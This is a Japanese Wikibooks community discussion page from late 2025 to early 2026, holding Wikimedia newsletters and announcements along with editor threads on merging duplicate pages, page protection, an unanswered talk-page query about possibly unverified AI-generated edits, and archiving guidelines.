* [https://diff.wikimedia.org/ja/2025/11/27/international-semantic-web-conference-2025-%e3%81%ab%e5%8f%82%e5%8a%a0%e3%81%97%e3%81%9f%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e3%81%ae%e6%84%9f%e6%83%b3/ International Semantic Web Conference 2025 に参加したウィキメディアンの感想] / Eugene Ormandy (2025/11/27)

'''前回配信：2025年10月31日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2025年11月30日 (日) 13:06 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=29717105 のリストを使用して送信したメッセージ --&gt;

== Wikimedians of Japan User Group 2025-12 ==

'''全体ニュース'''
* ウィキペディアは1月15日で25周年を迎えます。同時に[[:m:Event:Wikipedia_25_Virtual_Celebration/ja|バーチャルお祝い会]]も開催されます。
* 1月20日にBernadette Meehanさんがウィキメディア財団のCEOに就任します。

'''ESEAPハブからのおしらせ'''[[File:ESEAP logo horizontal.svg|40px|link=:m:ESEAP_Hub/ja]]
* 2027年のESEAPサミットは日本で開催することに決定しました。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* 1月31日に開催される[https://event.ospn.jp/osc2026-osaka/ OSC大阪]に参加します。
* [https://www.youtube.com/@WikimediaJaUG YouTubeチャンネル]を作成しました。
* 12月6日に[[:m:Wikimedians of Japan User Group/events/West-Japan Wikimedia Conference 2025|West-Japan Wikimedia Conference 2025]]を開催しました。

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:ロンドン自然史博物館の天井|ロンドン自然史博物館の天井]]
**[[:w:ja:ミャンマーの歴史|ミャンマーの歴史]]
**[[:w:ja:ボーラーン|ボーラーン]]
**[[:w:ja:天蓋の聖母 (ラファエロ)|天蓋の聖母 (ラファエロ)]]
**[[:w:ja:流行神|流行神]]
**[[:w:ja:瑠璃坏|瑠璃坏]]
**[[:w:ja:や座|や座]]
**[[:w:ja:京坂キリシタン一件|京坂キリシタン一件]]
**[[:w:ja:ベトナムの歴史|ベトナムの歴史]]
**[[:w:ja:オニオオハシ|オニオオハシ]]
**[[:w:ja:白瑠璃碗 (正倉院宝物)|白瑠璃碗 (正倉院宝物)]]
**[[:w:ja:漢字|漢字]]
**[[:w:ja:貞享の半知|貞享の半知]]
**[[:w:ja:カンボジア文学|カンボジア文学]]
**[[:w:ja:足利政知|足利政知]]
* 今月の1枚
[[File:DSC_1418-DeNoiseAI-low-light_(1).jpg|alt=|thumb|200x200px|静岡県南伊豆町にある[[:w:ja:ヤマセミ|ヤマセミ]]のホバリング|none]]

'''1月のイベント情報'''
* 1/10 [[:w:ja:Wikipedia:オフラインミーティング/ウィキペディア25周年記念エディタソン|ウィキペディア25周年記念エディタソン]]
* 1/25 [https://okunoto-archive.jp/202512/223/ ウィキペディアタウンin珠洲]
* 1/25 [https://www.city.tambasasayama.lg.jp/chuotoshokan/information/27347.html ウィキペディアタウンin丹波篠山 Vol.2～丹波篠山の自慢「丹波黒」を世界に発信～]

'''[[:wmfblog:|Diff]]'''
タイトル / 著者；翻訳者 (掲載日) の順で記載しています。
* [https://diff.wikimedia.org/ja/2025/12/01/%e3%82%aa%e3%83%bc%e3%83%97%e3%83%b3%e3%82%bd%e3%83%bc%e3%82%b9%e3%82%ab%e3%83%b3%e3%83%95%e3%82%a1%e3%83%ac%e3%83%b3%e3%82%b92025kyoto%e3%81%ab%e5%8f%82%e5%8a%a0/ オープンソースカンファレンス2025Kyotoに参加] / VZP10224 (2025/12/01)
* [https://diff.wikimedia.org/ja/2025/12/03/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%bb%e3%83%af%e3%83%bc%e3%83%ab%e3%83%89in%e5%9b%b3%e6%9b%b8%e9%a4%a8%e7%b7%8f%e5%90%88%e5%b1%952025%ef%bc%9a6%e4%ba%ba%e3%81%ae/ ウィキメディア・ワールドin図書館総合展2025：6人のオンラインフォーラム] / Wadakuramon (2025/12/03)
* [https://diff.wikimedia.org/ja/2025/12/13/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%bb%e3%83%af%e3%83%bc%e3%83%ab%e3%83%89in%e5%9b%b3%e6%9b%b8%e9%a4%a8%e7%b7%8f%e5%90%88%e5%b1%952025%ef%bc%9a%e3%83%96%e3%8w3%bc/ ウィキメディア・ワールドin図書館総合展2025：ブース展示と横浜エディタソン] / Wadakuramon (2025/12/13)
* [https://diff.wikimedia.org/ja/2025/12/14/%e3%80%8c%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e3%82%bf%e3%82%a6%e3%83%b3in%e5%92%8c%e6%ad%8c%e5%b1%b12025%e3%80%8d%e3%81%ab%e5%8f%82%e5%8a%a0%e3%81%99%e3%82%8b/ 「ウィキペディアタウンin和歌山2025」に参加する] / Asutrio Cantabrio (2025/12/14)
* [https://diff.wikimedia.org/ja/2025/12/14/12%e6%9c%88%e3%82%92%e6%b5%b7%e5%a4%96%e3%81%ae%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e3%81%a8%e9%81%8e%e3%81%94%e3%81%99/ 12月を海外のウィキメディアンと過ごす] / Wadakuramon (2025/12/14)
* [https://diff.wikimedia.org/ja/2025/12/16/diff%e3%81%af2026%e5%b9%b4%e3%81%be%e3%81%a7%e3%81%8a%e4%bc%91%e3%81%bf%e3%81%97%e3%81%be%e3%81%99/ Diffは2026年までお休みします] / Chris Koerner ; Wadakuramon (2025/12/16)
* [https://diff.wikimedia.org/ja/2025/12/17/%e6%ad%a3%e5%80%89%e9%99%a2%e5%b1%95-%e3%81%a8-%e8%a8%98%e4%ba%8b%e5%9f%b7%e7%ad%86-%e7%91%a0%e7%92%83%e5%9d%8f%e3%81%a8%e3%82%82%e3%81%86%e4%b8%80%e3%81%a4%e3%81%ae%e7%99%bd%e7%91%a0%e7%92%83/ 正倉院展 と 記事執筆 -瑠璃坏ともう一つの白瑠璃碗-] / Lin Xiangru (2025/12/17)
* [https://diff.wikimedia.org/ja/2025/12/19/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9e%e3%83%8b%e3%82%a22026%e3%81%ab%e5%90%91%e3%81%91%e3%81%a6/ ウィキマニア2026に向けて] / Wikimania Core Organizing Team (2025/12/19)
* [https://diff.wikimedia.org/ja/2025/12/19/west-japan-wikimedia-conference-2025%e5%8f%82%e5%8a%a0%e8%a8%98%ef%bc%9a%e6%a8%aa%e6%b5%9c%e3%82%a8%e3%83%87%e3%82%a3%e3%82%bf%e3%82%bd%e3%83%b3%e3%82%92%e7%b4%b9%e4%bb%8b/ West-Japan Wikimedia Conference 2025参加記：横浜エディタソンを紹介] / Wadakuramon (2025/12/19)
* [https://diff.wikimedia.org/ja/2025/12/19/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e8%b2%a1%e5%9b%a32026-27%e5%b9%b4%e6%ac%a1%e8%a8%88%e7%94%bb%e3%81%ae%e3%82%b4%e3%83%bc%e3%83%ab%e7%ad%96%e5%ae%9a%ef%bc%9a%e3%82%a6/ ウィキメディア財団2026-27年次計画のゴール策定：ウィキメディア運動の重点となる質問] / Selena Deckelmann ; Omotecho (2025/12/19)
* [https://diff.wikimedia.org/ja/2025/12/23/%e6%97%a5%e6%9c%ac%e3%81%ae%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e3%81%8cwikiconference-seoul-2025%e3%81%ab%e5%8f%82%e5%8a%a0%e3%81%97%e3%81%a6%e3%81%8d%e3%81%9f/ 日本のウィキメディアンがWikiConference Seoul 2025に参加してきた記録] / Narumi.SBT (2025/12/23)

'''前回配信：2025年11月30日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2025年12月31日 (水) 11:04 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=29848173 のリストを使用して送信したメッセージ --&gt;

== ほぼ同内容かつ似た題名の記事の並立について（日本語方言など） ==

[[日本語/方言]]と[[日本語の方言]]は同じような題で同じような内容を載せていますが、この2つはどう違うのでしょう。同じ意図で作ったものならどちらかに統合すべきだと思いますが、統合後はどちらの記事名にするのが良いでしょうか。

加えて、こういった例は他にも必ず存在する気がするのですが、そういった場合の方針などがあれば教えていただきたいです。--[[利用者:BrassSnail|BrassSnail]] ([[利用者・トーク:BrassSnail|トーク]]) 2026年1月12日 (月) 13:28 (UTC)

:こちらでシスオペをやっております、[[利用者:Tomzo|Tomzo]] ([[利用者・トーク:Tomzo|トーク]])と申します。
:ご指摘ありがとうございます。本件ご指摘のとおりだと思います。手続き導入からは日が浅いものの、「[[Wikibooks:統合提案]]」という手続きがありますのでご紹介いたします。そちらで、ご提案をいただけるのとありがたいのですが、お忙しいようであれば、機会を見計らい私が対応いたします。
:WBとWPが微妙に異なることとして、ある一つの事柄についての記述でも、教科書として伝える層や伝える体系が異なると記述が異なることとなり、別ページを構成することがあるということで、これは、各々の体系のもので存続させることがあります。または、共通の記述に関してリンクを貼ることで対応するなどの手法も考えられます。この辺りは、決まった手法があるわけではないので、作成の過程で議論によって決めていくことなのかなと思っています。--[[利用者:Tomzo|Tomzo]] ([[利用者・トーク:Tomzo|トーク]]) 2026年1月12日 (月) 16:43 (UTC)
::ご教授ありがとうございます。そちらで提案させていただきました。。--[[利用者:BrassSnail|BrassSnail]] ([[利用者・トーク:BrassSnail|トーク]]) 2026年1月15日 (木) 15:27 (UTC)

== Thank You for Last Year – Join Wiki Loves Ramadan 2026 ==

Dear Wikimedia communities,

We hope you are doing well, and we wish you a happy New Year.

''Last year, we captured light. This year, we’ll capture legacy.''

In 2025, communities around the world shared the glow of Ramadan nights and the warmth of collective iftars. In 2026, ''Wiki Loves Ramadan'' is expanding, bringing more stories, more cultures, and deeper global connections across Wikimedia projects.

We invite you to explore the ''Wiki Loves Ramadan 2026'' [[m:Special:MyLanguage/Wiki Loves Ramadan 2026|Meta page]] to learn how you can participate and [[m:Special:MyLanguage/Wiki Loves Ramadan 2026/Participating communities|sign up]] your community.

📷 ''Photo campaign on '' [[c:Special:MyLanguage/Commons:Wiki Loves Ramadan 2026|Wikimedia Commons]]

If you have questions about the project, please refer to the FAQs:  
* [[m:Special:MyLanguage/Wiki Loves Ramadan/FAQ/|Meta-Wiki]]
* [[c:Special:MyLanguage/Commons:Wiki Loves Ramadan/FAQ|Wikimedia Commons]]

''Early registration for updates is now open via the '''[[m:Special:RegisterForEvent/2710|Event page]]'''''

''Stay connected and receive updates:''  
* [https://t.me/WikiLovesRamadan Telegram channel]  
* [https://lists.wikimedia.org/postorius/lists/wikilovesramadan.lists.wikimedia.org/ Mailing list]

We look forward to collaborating with you and your community.


'''The Wiki Loves Ramadan 2026 Organizing Team''' 2026年1月16日 (金) 19:45 (UTC)
&lt;!-- User:ZI Jony@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Non-Technical_Village_Pumps_distribution_list&amp;oldid=29879549 のリストを使用して送信したメッセージ --&gt;

== &lt;span lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Annual review of the Universal Code of Conduct and Enforcement Guidelines&lt;/span&gt; ==

&lt;div lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;
&lt;section begin=&quot;announcement-content&quot; /&gt;
I am writing to you to let you know the annual review period for the Universal Code of Conduct and Enforcement Guidelines is open now. You can make suggestions for changes through 9 February 2026. This is the first step of several to be taken for the annual review. [[m:Special:MyLanguage/Universal Code of Conduct/Annual review/2026|Read more information and find a conversation to join on the UCoC page on Meta]].

The [[m:Special:MyLanguage/Universal Code of Conduct/Coordinating Committee|Universal Code of Conduct Coordinating Committee]] (U4C) is a global group dedicated to providing an equitable and consistent implementation of the UCoC. This annual review was planned and implemented by the U4C. For more information and the responsibilities of the U4C, [[m:Special:MyLanguage/Universal Code of Conduct/Coordinating Committee/Charter|you may review the U4C Charter]].

Please share this information with other members in your community wherever else might be appropriate.

-- In cooperation with the U4C, [[m:User:Keegan (WMF)|Keegan (WMF)]] ([[m:User talk:Keegan (WMF)|talk]])&lt;section end=&quot;announcement-content&quot; /&gt;
&lt;/div&gt;

2026年1月19日 (月) 21:01 (UTC)
&lt;!-- User:Keegan (WMF)@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&amp;oldid=29905753 のリストを使用して送信したメッセージ --&gt;

== 無期限保護について ==

こんばんは。本日からWikibooksの編集を始めました。なまえみていです。

色々なページを見ていて、無期限 &lt;s&gt;保護&lt;/s&gt; &lt;u&gt;半保護&lt;/u&gt; がなされているページが多く感じられます。もちろん、度重なる荒らし、管理者不足など理由はあるのだと思いますが、Wikipediaに慣れている私からすると、厳しすぎる対応だと思います。(Wikipediaでは基本的に無期限は合意形成がないとできない)

ただでさえ、Wikibooksを編集する利用者が少ないのに、積極的に &lt;u&gt;半&lt;/u&gt; 保護していると、新規利用者ができづらいと考えます。
[[日本の大学受験ガイド#入試対策]]にある大学のうち保護されているものの解除を検討していただけないでしょうか？

学生による新規参入はWikibooksの存続に大きく影響すると思います。--[[利用者:なまえみてい|なまえみてい]] ([[利用者・トーク:なまえみてい|トーク]]) 2026年1月23日 (金) 16:55 (UTC) &lt;small&gt; 意味合いが変わってしまうので取り消し線と下線で訂正しました。--[[利用者:なまえみてい|なまえみてい]] ([[利用者・トーク:なまえみてい|トーク]]) 2026年1月24日 (土) 01:24 (UTC)&lt;/small&gt;

:はじめまして、[[利用者:Tomzo|Tomzo]] ([[利用者・トーク:Tomzo|トーク]])と申します。
:本件、一応説明いたしますと、WPに比べると当プロジェクトは、参加者もさながら管理者も圧倒的に少なく、多少の「いわゆる」民主的運営を犠牲にしてでも厳しい措置を取らざるを得ないという事情があります。また、作成保護に関して、強い保護は「Wikibooksのテーマになる可能性が非常に少ないもの」のみについてかけるようにし、その他は基本半保護のはずです（WPも実質永久半保護の記事は少なくありません）。初回ログイン後、数日平穏な編集が継続される限り、特に支障はないはずです。そのような記事に関しては、なまえみていさんも来週には編集可能となると思いますが、どうしても、すぐに編集したいという記事があるのであれば、[[Wikibooks:管理者伝言板#保護解除依頼]]に指定してご依頼ください。--[[利用者:Tomzo|Tomzo]] ([[利用者・トーク:Tomzo|トーク]]) 2026年1月24日 (土) 01:04 (UTC)
::(返信) ご丁寧にありがとうございます。
::jawpと同じ基準ならおそらく、数時間で自動承認されるので私は困らないのですが、新規利用者が生まれにくく、利用者不足を加速させてしまうのかなと思った次第です。
::私の方でお手伝いできることがありましたら、ご協力したいと考えています。失礼します。--[[利用者:なまえみてい|なまえみてい]] ([[利用者・トーク:なまえみてい|トーク]]) 2026年1月24日 (土) 01:20 (UTC)

== Wikimedians of Japan User Group 2026-1 ==

'''全体ニュース'''
* [[:m:Stewards/Elections_2026|スチュワード選挙2026]]及び[[:m:Stewards/Confirm/2026|現在のスチュワードへの信任投票]]への投票が2月6日 14:00 (UTC) から2月27日 14:00 (UTC) まで行われます。
* ウィキマニア2026の[[:wikimania:2026:Program|プログラム募集]]が3月1日まで行われています。
* 来年度のウィキメディア財団の年次計画についての[[:m:Talk:Wikimedia_Foundation_Annual_Plan/2026-2027|意見募集]]が行われています。

'''ESEAPハブからのおしらせ'''[[File:ESEAP logo horizontal.svg|40px|link=:m:ESEAP_Hub/ja]]
* 2月1日16時(JST)から[[:m:Event:ESEAP_Community_Call_55_(1_February_2026)|オンラインミーティング]]が行われます。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* [https://www.ospn.jp オープンソースカンファレンス]のコミュニティサポーターになりました。
* 2月27,28日に開催される[https://event.ospn.jp/osc2026-spring/ OSC東京]に参加します。
* [[:m:「Diff」2025年日本語版記事索引|「Diff」2025年日本語版記事索引]]を公開しました。

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:マルキアヌス|マルキアヌス]]
**[[:w:ja:高瀬渓谷の噴湯丘と球状石灰石|高瀬渓谷の噴湯丘と球状石灰石]]
**[[:w:ja:帯金式甲冑|帯金式甲冑]]
**[[:w:ja:百済の里|百済の里]]
**[[:w:ja:仙人掌群鶏図|仙人掌群鶏図]]
**[[:w:ja:(54598) ビエノール|(54598) ビエノール]]
**[[:w:ja:平成の大合併|平成の大合併]]
**[[:w:ja:正倉院展|正倉院展]]
**[[:w:ja:駿河竹千筋細工|駿河竹千筋細工]]
**[[:w:ja:横浜中華街の歴史|横浜中華街の歴史]]
**[[:w:ja:毛利輝元の四国・九州出兵|毛利輝元の四国・九州出兵]]
* 今月の1枚
[[File:251123 Shinsenkyo Hakone Japan26s3.jpg|alt=|thumb|200x200px|神奈川県箱根町に所在する[[:w:ja:神仙郷|神仙郷]]|none]]

'''2月のイベント情報'''
* 1/10 [[:w:ja:Wikipedia:オフラインミーティング/ウィキペディア25周年記念エディタソン|ウィキペディア25周年記念エディタソン]]
* 2/7 [https://peatix.com/event/4795657 ウィキペディアタウン神保町 Vol.3]
* 2/7 [[:w:ja:プロジェクト:アウトリーチ/ウィキペディアタウン#近畿|駅まちウィキペディア 動くエディタン編集室 vol.1 京都丹後鉄道あかまつ号]]
* 2/14 [https://www.city.ichinoseki.iwate.jp/library/topics/page.php?p=679 ウィキペディアタウン in 東山]
* 2/15 [https://www.city.toda.saitama.jp/koho-toda/260101/kouza04.html ウィキペディアタウン戸田　つくろう！戸田市の歴史事典]
* 2/15 [https://iselib.city.ise.mie.jp/ise/?id=262 ウィキペディアタウン伊勢Vol.3]
* 2/28 [[:w:ja:プロジェクト:アウトリーチ/ウィキペディアタウン#近畿|丹後古墳ウォーカー 歩いて発見！古代丹後の推し古墳をウィキで紹介！ #1 大宮町東川岸]]

'''[[:wmfblog:|Diff]]'''
タイトル / 著者；翻訳者 (掲載日) の順で記載しています。
* [https://diff.wikimedia.org/ja/2026/01/09/%e5%9b%b3%e6%9b%b8%e9%a4%a8%e7%b7%8f%e5%90%88%e5%b1%952025%e3%81%ae%e3%80%8cedit-tango%e3%80%8d%e3%83%96%e3%83%bc%e3%82%b9/ 図書館総合展2025の「edit Tango」ブース] / Asturio Cantabrio (2026/01/09)
* [https://diff.wikimedia.org/ja/2026/01/11/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e6%97%a5%e6%9c%ac%e8%aa%9e%e7%89%88%e3%82%b3%e3%83%9f%e3%83%a5%e3%83%8b%e3%83%86%e3%82%a3%e3%81%ae%e6%ad%b4%e5%8f%b2%e3%82%92%e3%82%a6/ ウィキペディア日本語版コミュニティの歴史をウィキペディアに刻む] / Wadakuramon (2026/01/11)
* [https://diff.wikimedia.org/ja/2026/01/13/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a225%e5%91%a8%e5%b9%b4%e8%a8%98%e5%bf%b5%e3%82%a8%e3%83%87%e3%82%a3%e3%82%bf%e3%82%bd%e3%83%b3%e3%81%ab%e5%8f%82%e5%8a%a0%e3%81%97%e3%81%be/ ウィキペディア25周年記念エディタソンに参加しました] / Wadakuramon (2026/01/13)
* [https://diff.wikimedia.org/ja/2026/01/21/%e3%82%a2%e3%82%b8%e3%82%a2%e6%9c%88%e9%96%932025-%e3%82%92%e7%b5%82%e3%81%88%e3%81%a6/ アジア月間2025 を終えて] / Lin Xiangru (2026/01/21)
* [https://diff.wikimedia.org/ja/2026/01/26/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a225%e5%91%a8%e5%b9%b4%e8%a8%98%e5%bf%b5%e3%83%90%e3%83%bc%e3%82%b9%e3%83%87%e3%83%bc%e3%83%bb%e3%82%b1%e3%83%bc%e3%82%ad%e3%83%bb%e3%82%bd/ ウィキペディア25周年記念バースデー・ケーキ・ソング!] / Wadakuramon (2026/01/26)

'''前回配信：2025年12月31日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2026年1月31日 (土) 12:17 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=29923679 のリストを使用して送信したメッセージ --&gt;

== ほかの利用者さんとの対話について ==

昨年の12月25日にある利用者さんの会話ページで話題を追加したのですが、その利用者さんは私が投稿する2週間ほど前から今月頭まで活動なさっておらず、活動再開後も現在に至るまで返答をいただけておりません。

気づいていらっしゃらないのか故意に返信なさっていないのかはわからないのですが、このような場合、再度会話ページでお知らせするのが良いのか、それとも他に適切な方法があるのでしょうか？

私自身としてはその話題が記事の品質に大きく関わる内容であり対話を行いたいのですが、過剰に返答を求めて当該の利用者さんや他の方に粘着的な行動だと受け取られてしまうと困りますので、こちらで相談させていただきます。--[[利用者:飛火野|飛火野]] ([[利用者・トーク:飛火野|トーク]]) 2026年2月18日 (水) 14:28 (UTC)

:{{コメント2|コメント}} こんにちは。初めまして。
:この場合、対話拒否としてコメント依頼を提出したりできそうですが([[Wikibooks:コメント依頼/すじにくシチュー|例]])、Wikipediaみたいに制度が整ってなさそうですし、準備が大変です。
:ひとまず、異論なしとして、[[利用者:飛火野|飛火野]]さんが正しいと思う様に編集してみたらいかがでしょうか？
:待っていても、何も始まらないですし……--[[利用者:なまえみてい|なまえみてい]] ([[利用者・トーク:なまえみてい|トーク]]) 2026年2月18日 (水) 17:47 (UTC)

::一般記事は、書かれた段階で「誰が書いたか」というものではなくなりますので、適当でないと思える記述は、適当と思うものに書き換えても全く構いません。--[[利用者:Tomzo|Tomzo]] ([[利用者・トーク:Tomzo|トーク]]) 2026年2月19日 (木) 12:37 (UTC)
:::お二人とも、返信ありがとうございます。記事本体には追々手を加えさせていただきます。
:::返信の内容から拝察するに、私の投稿記録をご覧になっていただけたのだと思うのですが、あのような質問になった経緯を時系列順に記しますと、
:::1)当該の編集（[https://ja.wikibooks.org/w/index.php?title=%E6%B0%97%E5%80%99%E5%AD%A6/%E3%82%B1%E3%83%83%E3%83%9A%E3%83%B3%E3%81%AE%E6%B0%97%E5%80%99%E5%8C%BA%E5%88%86&amp;oldid=251398 こちら]）を見て生成AIによる生成物を、十分に検証できないのに投稿なさっているのではないかという疑義を抱いた
:::2)他の記事（[https://ja.wikibooks.org/wiki/%E6%BA%96%E6%83%91%E6%98%9F こちら]や[https://ja.wikibooks.org/wiki/%E5%8F%A4%E7%94%9F%E7%89%A9%E5%AD%A6/%E5%A4%A7%E8%A6%8F%E6%A8%A1%E7%B5%B6%E6%BB%85%E3%82%A4%E3%83%99%E3%83%B3%E3%83%88 こちら]など）でも同様の編集をなさっているのが見受けられた
:::3)もし当該の編集が私の考えているような「AIで生成し、さらにその内容の検証（この場合、日本の「気候学」や「古生物学」の記述として妥当なのかの判断）を十分に行えないままで投稿なさっているのであれば、手を止めていただく必要があるのではないかと考えた
:::4)しかし、私の勇み足であっては失礼ですので、まずは編集の意図を確認した
:::というところです。
:::確かに、今思うと誘導尋問的で、必要以上に迂遠な聞き方になってしまっていたとは思うのですが、私としてはまず当該利用者さんの編集の意図をお伺いしたいと思っています。--[[利用者:飛火野|飛火野]] ([[利用者・トーク:飛火野|トーク]]) 2026年2月19日 (木) 14:27 (UTC)

== どうしてwikibooksが必要なのか ==

そのまんま--[[利用者:Guest A1|Guest A1]] ([[利用者・トーク:Guest A1|トーク]]) 2026年2月25日 (水) 09:28 (UTC)

&lt;del&gt;:はじめまして。tkkn46tkkn46 と申します。&lt;/del&gt;
:wikipediaは、リンク?ハイパーテキスト?ハイパーリンク?　がステキ。(任意へリンク)
:wikibooksは、目次ページがあって、章、節、号、款、目　
:（例:&lt;nowiki&gt;[[Wikibooks:ウィキプロジェクト 法学 コンメンタール執筆ガイドライン]]&lt;/nowiki&gt;）
:wikibooksは、wikipediaより本のイメージに近い思います。
:wikibooksで、「単語」だけ?だと、wikipediaでイイんじゃないの思います。
:wikipediaは、辞書のイメージです。本に、ならないタイトルだとキツイと思います。
:以下、wikibooksへのいつの日にか私の希望
:①標準機能内で、本なので、目次ページを参考に、ページ間の移動が楽だと助かります。
:　F7（前頁へ）F8（後頁へ）?F6（1つ上へ）F9（1つ下へ）
:　現在は、ページ内のフッターで、自作しています。
:②標準機能内で、books内の索引の自動作成機能。
:もしかしたら、誰かが開発済みカモ。アドバイスいただけると助かります。--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年2月25日 (水) 11:53 (UTC)
:wikidiaryがあれば、Guest A1様の投稿はステキかも。--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年2月25日 (水) 12:12 (UTC)
::お二人に。
::'''[[Wikibooks:児童・生徒の方々へ]]'''をきちんと読んでいただくことを希望いたします。--[[利用者:Tomzo|Tomzo]] ([[利用者・トーク:Tomzo|トーク]]) 2026年2月25日 (水) 12:37 (UTC)

== 過去ログ化のガイドラインについて ==

[[Wikibooks:過去ログ化のガイドライン|このガイドライン]]はすじにくシチューさん一人で作成されてから草案状態が10年経ちました。正式にガイドライン化したいと考えています。

その前に一つ提案をいたします(この議論では実際に変更するわけではありません)。今現在、日本語版wikibooksではサブページ方式ではなく、固定リンク方式を使っていますが、個人的にはサブページ方式を使ったほうがよいと思います。
理由として
# サブページ方式の方が感覚的に実行しやすく、煩わしくない。
# サブページ方式の方がログの保存方法の変更がしやすい。固定リンク方式の場合「今まで1年ごとに過去ログ化していたけど10年ごとに変更したい」となったときに対応が出来ません。
# サプページ方式の欠点として、[[Wikibooks:過去ログ化のガイドライン|ガイドライン]]では「他の方法（サブページをつくるなど）と比べて、固定版方式では編集方法をまちがった場合の差し戻しが容易なことが根拠です。」とありますが、むしろサブページ方式の方が2で挙げた場合もそうですが、差し戻し、過去ログページの削除で対応できるため簡単に対応できます。

本当はを作成されたすじにくシチューさんに理由や意図をお聞きしたいのですが、無期限ブロックされており、お聞きすることが出来ません。皆さんに賛成か反対か、反対ならその理由などをお聞きしたいです。

具体的な提案
サブページ方式で[[Wikibooks:過去ログ]]を作成し[[Wikibooks:過去ログ/談話室]]など項目別にサブページを作成する。ログを追加しないと考えられるものに関しては無期限半保護する。
wikipediaでは[[Wikipedia:談話室/過去ログ]]のような形式ですが、wikibooksでは[[Wikibooks:過去ログ]]で過去ログを一括で管理したいと考えています。「理由として」でも挙げたとおり、やり直しが利くのでとりあえず賛成していただいても大丈夫だと思います。

今後の流れ（←これに関しても意見があればお寄せください）
# この議論で1週間程で御意見を募集する、議論で大まかに決める。
# 決定した内容で良いかを投票する（投票権は投票用の議論が開始された時点で自動承認されているユーザーまたはウィキメディアプロジェクトに参加してから3ヶ月経過しているユーザーで考えています。）
# 実際に過去ログ化をして1ヶ月ほど経過したら問題が生じていないかを議論する
# [[Wikibooks:過去ログ化のガイドライン]]を正式にガイドライン化する議論をする
--[[利用者:なまえみてい|なまえみてい]] ([[利用者・トーク:なまえみてい|トーク]]) 2026年2月28日 (土) 12:58 (UTC)
:こんにちは、編集お疲れ様です。
